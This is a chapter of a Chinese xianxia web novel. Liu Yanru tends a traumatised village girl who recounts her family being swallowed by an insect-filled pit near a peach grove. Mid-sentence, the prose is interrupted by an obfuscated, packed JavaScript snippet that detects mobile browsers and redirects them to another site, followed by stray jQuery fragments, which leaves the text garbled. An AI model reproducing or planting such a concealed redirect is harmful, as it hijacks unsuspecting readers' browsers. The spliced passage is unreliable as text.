柳晏如回来时,在山顶上还能看见那夕阳。红日烘蒸着白云,霞光溢彩。她在周边没看见人影,猜到周晴茵应当是与宁康禄他们去了山腰。
眼下无人,她踱步到了山茶花树下。
这其中,有一株山茶花长得最高最壮,结成的花也最丰盈,应该是薛让尘最早种下的。
即便他有意忽略,此刻也忍不住猜测,薛让尘到底是在想什么呢?或许他在第二个师门里待着并不快乐,因而升为仙司后,他极力避开与之相关的任何事物。
这样想着,倒确实是对柳晏如作为师尊的认可。她不由得舒心了一些。
她听到细碎的响动,抬头一看,周晴茵正站在山路边上望着她。柳晏如道:“他们怎么样?”
周晴茵笑了笑,“他们都很好。”
说完,她便紧接着问:“大伙儿接了个委托,我觉着挺有意思,也想去,你要去吗?”
柳晏如顿了顿,说:“我暂时还没有那心思,不过,晴茵,多谢你想到我。”
周晴茵摇摇头,“……你这样就太生分了。”
柳晏如:“正是因为珍惜你的心意,才要道谢的。”
她这样说,周晴茵不免也松快了些,浅笑着跑过来,与她一同赏花,“你在择徒宴上最关注山茶花,原先说好的回庄子去种,如今阴差阳错的,到了青荣山,正好也有山茶花呢。”
两人相视一笑。
-
夜里,柳晏如即将入睡,却忽然察觉神魂好似被牵动了一下。她敏锐地捕捉到了这个动静,一怔,回想之后,觉得并非是错觉。
这自然不是柳瑛的问题,而是另一侧,另一侧似乎有什么……?她不能忽视,哪怕回来还没待够三个时辰,也不得不转了魂回去。
“欸,你今天打坐这么快就结束了?”
她睁开眼,阿兆正趴在椅子上,脑袋顶上长出了好些桃枝,一息一瞬都在缓慢地生长、开花,见到柳晏如的一刹那,他立马把桃枝收了回去,跳了起来。
柳晏如转目一圈,并未发现什么动静。一切如常,没有危险。
她垂眸沉思。谁能牵动她的魂魄?
鬼君可以,但现在没必要这么做。除此之外……
心念急转,脑际间闪过这些天经历种种,最终停在了午后她企图与枣山村的灵息场域联结的一刹。
是它们在呼唤她吗?
是它们。
柳晏如微微惊异,她疾言道:“走,去枣山。”
阿兆虽不知她为何突然急了起来,但也渐渐了解她许多,话也不说就跟着她翻下窗。
御剑到达枣山上空,柳晏如看见了亮起的火光,以及幢幢人影。
她与阿兆停在先前的一座山上,飞奔跑向山下。还未走近,便听见了一个人哭闹惊喊的声音,那正是人群包围的中心。
旁人看见柳晏如来,也不知所措了三分,才想起要去寻外人帮助,几个人立马结伴,预备去城中找仙司。
“怎么了?”柳晏如说着向前。
在包围之中,她看见了白天交谈的小孩阿云,他紧紧地抱着躺在怀里的大人——说是大人,却大不了阿匀多少,眼看着还只是一个青年,不过十六七岁,呜呜地哭着、念着什么。
阿云带着泪意,轻声道:“阿姐你回来了,你已经到家了,别怕!乡亲们都在呢!”
——竟有人回来了!
原来还有幸存的人吗?
柳晏如一诧,却没直接过去,她观望一阵,发现那个女孩已经神志不清了,似乎是受到了重大的刺激。
乡亲们既是心疼又是着急,一边应和着阿云的话说着没事了没事了,一边又忍不住插缝问道:“我家的孩子呢?”“我家的夫君呢?”“我姐姐呢?”
柳晏如还是上前了。她与阿云交换了眼神,向他传递着自己没有恶意,随即接住了那个女孩。
女孩一直捂着眼睛,从她的指缝间,柳晏如看见了一双充满惊恐与痛苦的眼睛。
她轻轻抚拍着女孩背部的手,向她输送了灵力,女孩镇定些许,急促地呼吸着,不再哭咽了。
柳晏如说:“诸位,她才回来,惊魂未定,也问不出什么,不如先让她安心歇息一下吧。”
女孩的状况大家有目共睹,也没有再纠缠。柳晏如帮阿云将她阿姐抱起,跟着他一步一步回到他的木屋,而乡亲们举着火把,默默地跟在身后。火光摇曳着,正如他们不安的内心。
柳晏如将女孩抱上床,阿云迫不及待地守在了床边,柳晏如去关门,看见屋外的人影们……陈克疾也在其中。
她将门关紧,阻隔了所有人的视线,一回神,便看见阿兆紧张的面色,他也疑惑着,与柳晏如一样。
她如何逃出来的?她经历了什么?她记得什么?还有人与她一道逃出来吗?
今夜注定所有人不能安宁。
阿云家只有一间卧房,卧房内挨着摆了三架木床。阿云的妹妹陈枣生窝在另一张床上,熟睡着,看着才四五岁。
阿云不安地守了一夜。柳晏如和阿兆也陪在其后,清晨她打开门时,乡亲们也都还在外面守着。
陈枣生醒了,揉着眼睛,一睁开,看见两个陌生人惊讶了一下,再一定睛发现阿姐陈屹红回来了,高兴的光着脚就下了床,喊道:“阿姐阿姐,你给我带糖了吗?”
阿云正要阻拦时,床上的陈屹红猛地坐起来,喃喃着:“还没结工钱……还没结工钱。”阿云惊讶地抓住她,说:“阿姐,你要去哪儿!?”
“我要去讨工钱!”她喊着,“那个奸人承诺的报酬还没给呢!”
阿云将枣生推去后屋,闻言激烈道:“先别管工钱了!二姐,其他人呢?爹、娘、哥哥,还有乡亲们,辛姐姐、武姨、宋二哥、表舅他们人呢?大家都还等着他们回家呢!”
阿云着急的呼喊声引起了屋外一部分人的骚动,陈屹红闻言,霎时止住了,瞳孔剧烈地震动着,半响,她磕磕绊绊的开口道:“他们、他们……没回来吗?该回来的呀。我。我找了好几天的路,才找回来。平辛她识路,应该早就把大家带回来了呀。”
“没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467274|168996||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有,”阿云说,他几乎要心碎了,无助地扭头看向柳晏如,“……怎么办啊?”
若继续追问下去,一定要撬动她那深处的创伤,但没有别的办法。柳晏如缓声问:“阿红,你知道去哪儿讨工钱吗?招你们的那个人住在哪儿?长什么样你还记得吗?”
阿红说:“我虽找不到那个人,但我记得是从哪儿拿的货!这两人自然是一家的,揪住他就能揪住别的人。但是……”
屋外的骚动逐渐变大了,阿云咬咬牙,冲了出去,主动与乡亲们交涉什么。
女孩肉眼可见地恹了下去,她敲了敲头说:“在哪儿来着?我分明记着,我刚刚还记着的。从哪儿……要送到、送到哪儿?”
如今屋内,只有柳晏如、阿兆,柳晏如看着她,轻声道:“殷牙州,桃林。”
这两个地点就像一把钥匙。女孩的眼睛蓦然清明了一丝,她垂眸,细细地想着:“桃林,是桃林,那是桃花开得真艳,对,那晚我去捡花了,娘说捡回来做桃花酒,但没走多久……”
嗓子里仿佛有一根刺,她卡了卡,双手掐住自己的脖子,艰难道:“但我没走多远,就听见一声巨响……那是大伙儿一起休息的地方,我就跑,往回跑。”
但我忽然迷了路,找了很久,直到看见有一处亮着光,追了过去,才回到原处。那里有一个大坑。我跑走了……不对,不对,我跑过去了,大家全掉下去了,坑下面好像有虫,每一人都在尖叫,说痛。
阿娘让我别下来,去找人,去找绳子。
我跑去折了一根桃枝,我说我找不到路,哪里有人啊?我大声呼喊,企图有人路过了,来救救我们。
平辛强撑着站起来,把我大哥也拉起来,她踩在大哥的肩上,要把阿娘先送上来。
阿娘就差一点。
我快要接住她了,就差一点了。
但是巨坑又往下陷了一丈。
最底下的大哥疼得打滚,阿娘也没了力气,平辛还挺着,但已自顾不暇,她在下面摸索,找到了一把刀,插在壁面,她要一寸一寸往上爬。
我想够住她。
哪怕能救下一个人也好啊。
要是能救下一个人也好啊。
平辛也向我伸出手,坑底的所有人都向我伸出手,但是她被什么东西拽住了,我只眨了一下眼,她的脸上、身上就长满了……长满了……
那像一种青色的肉瘤。
是虫子吗?
我吓到了,但是我还是想拉住平辛,我说,平辛啊,你再伸上来一点,我不能再往下趴了,再下就要掉下去了。
还差一点。求求你了。
平辛忽然哭了。
她的泪水还没落就被虫子吃尽了。
她把手松开了,重新摔到坑底,那里一片黑暗,我看不清,但是还有平辛的一点点声音。
她说,快跑啊。
……
我只想回家。这桃花开得再好,我也不要来了,好远,好累。
再过一个月,到了初夏,我家的枣花就要开了啊。